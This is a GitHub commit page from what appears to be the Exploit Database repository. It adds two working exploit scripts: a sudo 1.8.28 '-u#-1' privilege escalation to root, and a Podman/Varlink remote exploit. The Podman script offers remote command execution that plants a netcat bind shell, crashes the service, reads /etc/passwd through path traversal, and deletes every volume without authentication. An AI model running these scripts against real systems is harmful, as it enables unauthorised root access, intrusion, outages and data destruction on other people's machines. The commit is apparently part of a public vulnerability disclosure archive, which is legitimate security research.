Skip to content

Commit bae704d

Browse files
author
Offensive Security
committed
DB: 2019-10-16
4 changes to exploits/shellcodes sudo 1.8.28 - Security Bypass ActiveFax Server 6.92 Build 0316 - 'ActiveFaxServiceNT' Unquoted Service Path Podman & Varlink 1.5.1 - Remote Code Execution Bolt CMS 3.6.10 - Cross-Site Request Forgery
1 parent 7c5ad20 commit bae704d

File tree

5 files changed

+776
-0
lines changed

5 files changed

+776
-0
lines changed

exploits/linux/local/47502.py

Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
# Exploit Title : sudo 1.8.28 - Security Bypass
2+
# Date : 2019-10-15
3+
# Original Author: Joe Vennix
4+
# Exploit Author : Mohin Paramasivam
5+
# Version : Sudo <1.2.28
6+
# Tested on Linux
7+
# Credit : Joe Vennix from Apple Information Security found and analyzed the bug
8+
# Fix : The bug is fixed in sudo 1.8.28
9+
# CVE : N/A
10+
11+
'''Check for the user sudo permissions
12+
13+
sudo -l
14+
15+
User hacker may run the following commands on kali:
16+
(ALL, !root) /bin/bash
17+
18+
19+
So user hacker can't run /bin/bash as root (!root)
20+
21+
22+
User hacker sudo privilege in /etc/sudoers
23+
24+
# User privilege specification
25+
root ALL=(ALL:ALL) ALL
26+
27+
hacker ALL=(ALL,!root) /bin/bash
28+
29+
30+
With ALL specified, user hacker can run the binary /bin/bash as any user
31+
32+
EXPLOIT:
33+
34+
sudo -u#-1 /bin/bash
35+
36+
Example :
37+
38+
hacker@kali:~$ sudo -u#-1 /bin/bash
39+
root@kali:/home/hacker# id
40+
uid=0(root) gid=1000(hacker) groups=1000(hacker)
41+
root@kali:/home/hacker#
42+
43+
Description :
44+
Sudo doesn't check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv
45+
-u#-1 returns as 0 which is root's id
46+
47+
and /bin/bash is executed with root permission
48+
Proof of Concept Code :
49+
50+
How to use :
51+
python3 sudo_exploit.py
52+
53+
'''
54+
55+
56+
#!/usr/bin/python3
57+
58+
import os
59+
60+
#Get current username
61+
62+
username = input("Enter current username :")
63+
64+
65+
#check which binary the user can run with sudo
66+
67+
os.system("sudo -l > priv")
68+
69+
70+
os.system("cat priv | grep 'ALL' | cut -d ')' -f 2 > binary")
71+
72+
binary_file = open("binary")
73+
74+
binary= binary_file.read()
75+
76+
#execute sudo exploit
77+
78+
print("Lets hope it works")
79+
80+
os.system("sudo -u#-1 "+ binary)

exploits/linux/remote/47500.py

Lines changed: 302 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,302 @@
1+
# Exploit Title: Podman & Varlink 1.5.1 - Remote Code Execution
2+
# Exploit Author: Jeremy Brown
3+
# Date: 2019-10-15
4+
# Vendor Homepage: https://podman.io/
5+
# Software Link: dnf install podman or https://github.com/containers/libpod/releases
6+
# Version: 1.5.1
7+
# Tested on: Fedora Server 30
8+
9+
#!/usr/bin/python
10+
# -*- coding: UTF-8 -*-
11+
#
12+
# pickletime.py
13+
#
14+
# Podman + Varlink Insecure Config Remote Exploit
15+
#
16+
# -------
17+
# Details
18+
# -------
19+
#
20+
# Podman is container engine / platform similar to Docker supported
21+
# by RedHat and Fedora with Varlink being a protocol to exchange
22+
# messages, which comes in handy for things like a Remote API.
23+
#
24+
# Now depending on how Podman and Varlink are deployed, they can be
25+
# susceptible to local and remote attacks. There are a few API bugs
26+
# in Podman itself, as well as a way to execute arbitary commands if
27+
# one can hit Podman via the Remote API. Running Podman with Varlink
28+
# over tcp listening either on localhost or the network interface is the
29+
# most vulnerable setup, but other ways such as access via the local UNIX
30+
# socket or over SSH (key /w no passphrase is common) aren't likely
31+
# to be vulnerable unless ACLs or other stuff is broken.
32+
#
33+
# ------------------
34+
# Testing the issues
35+
# ------------------
36+
#
37+
# - check; just connects and issues GetInfo() to see if the host is
38+
# running a podman service
39+
#
40+
# - exec; arbitrary cmd execution via ContainerRunlabel() specified
41+
# by "run" label in the specified hosted image (self-setup)
42+
#
43+
# - dos; crash the server via choosing a /random/ selection from
44+
# the available parsing bugs in APIs (we like to have fun here)
45+
#
46+
# - blind; dir traversal in SearchImages() API to force server to
47+
# read an arbitrary file (no client-side output)
48+
#
49+
# - volrm; loops to remove all volumes via VolumeRemove() behavior
50+
#
51+
# ---------
52+
# Exec demo
53+
# ---------
54+
#
55+
# $ ./pickletime.py check podman-host:6000
56+
# -> Podman service confirmed on host
57+
#
58+
# Then create a Dockerfile with an edgy label, build and host it.
59+
#
60+
# [Dockerfile]
61+
# FROM busybox
62+
# LABEL run=“nc -l -p 10000 -e /bin/bash”
63+
#
64+
# $ ./pickletime.py exec podman-host:6000 docker-registry:5000/image run
65+
# Done!
66+
#
67+
# $ nc podman-host 10000
68+
# ps
69+
# PID TTY TIME CMD
70+
# 111640 pts/1 00:00:00 bash
71+
# 111786 pts/1 00:00:00 podman
72+
# 111797 pts/1 00:00:00 nc
73+
# 111799 pts/1 00:00:00 bash
74+
# 111801 pts/1 00:00:00 ps
75+
#
76+
#
77+
# Tested Podman 1.4.4/1.5.1 and Varlink 18 on Fedora Server 30 x64
78+
#
79+
# -----------
80+
# Other stuff
81+
# -----------
82+
#
83+
# Note: admins can really setup their connection and deployment configuration
84+
# however they like, so it's hard to say how many folks are 'doing it wrong'
85+
# or actually are running with proper auth and hardening in place. Shodan
86+
# folks have been contacted about adding support to discover Varlink services
87+
# to get more data that way as well.
88+
#
89+
# Fixed bugs:
90+
# - DoS #2 was fixed in 1.5.1
91+
# - Updated security docs / cli flags TBD
92+
#
93+
# > Why pickles? Why not.
94+
#
95+
# Dependencies to run this code:
96+
#
97+
# sudo dnf install -y python3-podman-api
98+
#
99+
#
100+
#
101+
102+
import os
103+
import sys
104+
import socket
105+
import subprocess
106+
import random
107+
import json
108+
import podman
109+
import pickle
110+
import time
111+
112+
serviceName = 'io.podman' # service name
113+
114+
def main():
115+
if(len(sys.argv) < 2):
116+
print("Usage: %s <action> <host> [action....params]\n" % sys.argv[0])
117+
print("Eg: %s check tcp:podman-host:6000" % sys.argv[0])
118+
print("... %s exec tcp:podman-host:6000 docker-registry:5000/image run\n" % sys.argv[0])
119+
print("Actions: check, exec, dos, blind, volrm\n")
120+
return
121+
122+
action = sys.argv[1]
123+
address = sys.argv[2] # eg. unix:/run/podman/io.podman for local testing
124+
125+
ip = address.split(':')[1]
126+
port = int(address.split(':')[2])
127+
128+
if(action == 'exec'):
129+
if(len(sys.argv) < 4):
130+
print("Error: need more args for exec")
131+
return
132+
133+
image = sys.argv[3] # 'source' for pull
134+
label = sys.argv[4]
135+
136+
isItTime()
137+
138+
try:
139+
pman = podman.Client(uri=address)
140+
except Exception:
141+
print("Error: can't connect to host")
142+
return
143+
144+
if(action == 'check'):
145+
result = json.dumps(pman.system.info())
146+
147+
if('podman_version' in result):
148+
print("-> Podman service confirmed on host")
149+
return
150+
151+
print("-!- Podman service was not found on host")
152+
153+
154+
elif(action == 'exec'):
155+
#
156+
# First pull the image from the repo, then run the label
157+
#
158+
try:
159+
result = pman.images.pull(image) # PullImage()
160+
except Exception as error:
161+
pass # call fails sometimes if image already exists which is *ok*
162+
163+
#
164+
# ContainerRunlabel() ... but, no library imp. we'll do it live!
165+
#
166+
method = serviceName + '.' + 'ContainerRunlabel'
167+
168+
message = '{\"method\":\"'
169+
message += method
170+
message += '\",\"parameters\":'
171+
message += '{\"Runlabel\":{\"image\":\"'
172+
message += image
173+
message += '\",\"label\":\"'
174+
message += label
175+
message += '\"}}}'
176+
message += '\0' # end each msg with a NULL byte
177+
178+
doSocketSend(ip, port, message)
179+
180+
181+
elif(action == 'dos'):
182+
#bug = 1 # !fun
183+
bug = random.randint(1,2) # fun
184+
185+
if(bug == 1):
186+
print("one")
187+
source = 'test'
188+
189+
method = serviceName + '.' + 'LoadImage'
190+
191+
message = '{\"method\":\"'
192+
message += method
193+
message += '\",\"parameters\":'
194+
message += '{\"source":\"'
195+
message += source
196+
message += '\"}}'
197+
message += '\0'
198+
199+
doSocketSend(ip, port, message)
200+
201+
202+
# works on 1.4.4, fixed in 1.5.1
203+
if(bug == 2):
204+
print("two")
205+
206+
reference = 'b' * 238
207+
source = '/dev/null' # this file must exist locally
208+
209+
method = serviceName + '.' + 'ImportImage'
210+
211+
message = '{\"method\":\"'
212+
message += method
213+
message += '\",\"parameters\":'
214+
message += '{\"reference\":\"'
215+
message += reference
216+
message += '\",\"source\":\"'
217+
message += source
218+
message += '\"}}'
219+
message += '\0'
220+
221+
doSocketSend(ip, port, message)
222+
223+
224+
#
225+
# blind read of arbitrary files server-side
226+
# ...interesting but not particularly useful by itself
227+
#
228+
# openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 7
229+
# lseek(7, 0, SEEK_CUR) = 0
230+
# fstat(7, {st_mode=S_IFREG|0644, st_size=1672, ...}) = 0
231+
# read(7, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1672
232+
# close(7)
233+
#
234+
elif(action == 'blind'):
235+
method = serviceName + '.' + 'SearchImages'
236+
query = '../../../etc/passwd/' # magic '/' at the end
237+
238+
message = '{\"method\":\"'
239+
message += method
240+
message += '\",\"parameters\":'
241+
message += '{\"query\":\"'
242+
message += query
243+
message += '\"}}'
244+
message += '\0'
245+
246+
#pman.images.search(query) # unclear why this doesn't work
247+
doSocketSend(ip, port, message)
248+
249+
#
250+
# Not really a bug, but an interesting feature to demo without auth
251+
# note: call CreateVolume() a few times beforehand to test the removal
252+
#
253+
elif(action == 'volrm'):
254+
method = serviceName + '.' + 'VolumeRemove'
255+
n = 10 # this is probably enough to test, but change as necessary
256+
257+
message = '{\"method\":\"'
258+
message += method
259+
message += '\",\"parameters\":'
260+
message += '{\"options\":{\"volumes\":[\"\"]}}}' # empty = alphabetical removal
261+
message += '\0'
262+
263+
for _ in range(n):
264+
doSocketSend(ip, port, message)
265+
time.sleep(0.5) # server processing time
266+
267+
print("Done!")
268+
269+
270+
#
271+
# podman/varlink libaries don't support calling these API calls, so native we must
272+
#
273+
def doSocketSend(ip, port, message):
274+
try:
275+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
276+
sock.connect((ip, port))
277+
sock.send(message.encode())
278+
279+
except Exception as error:
280+
print(str(error))
281+
return
282+
283+
finally:
284+
sock.close()
285+
286+
287+
#
288+
# obligatory routine
289+
#
290+
def isItTime():
291+
tm = time.localtime()
292+
293+
p = pickle.dumps('it\'s pickle time!')
294+
295+
if((str(tm.tm_hour) == '11') and (str(tm.tm_min) == '11')):
296+
print(pickle.loads(p))
297+
else:
298+
pass # no dill
299+
300+
301+
if(__name__ == '__main__'):
302+
main()

0 commit comments

Comments
 (0)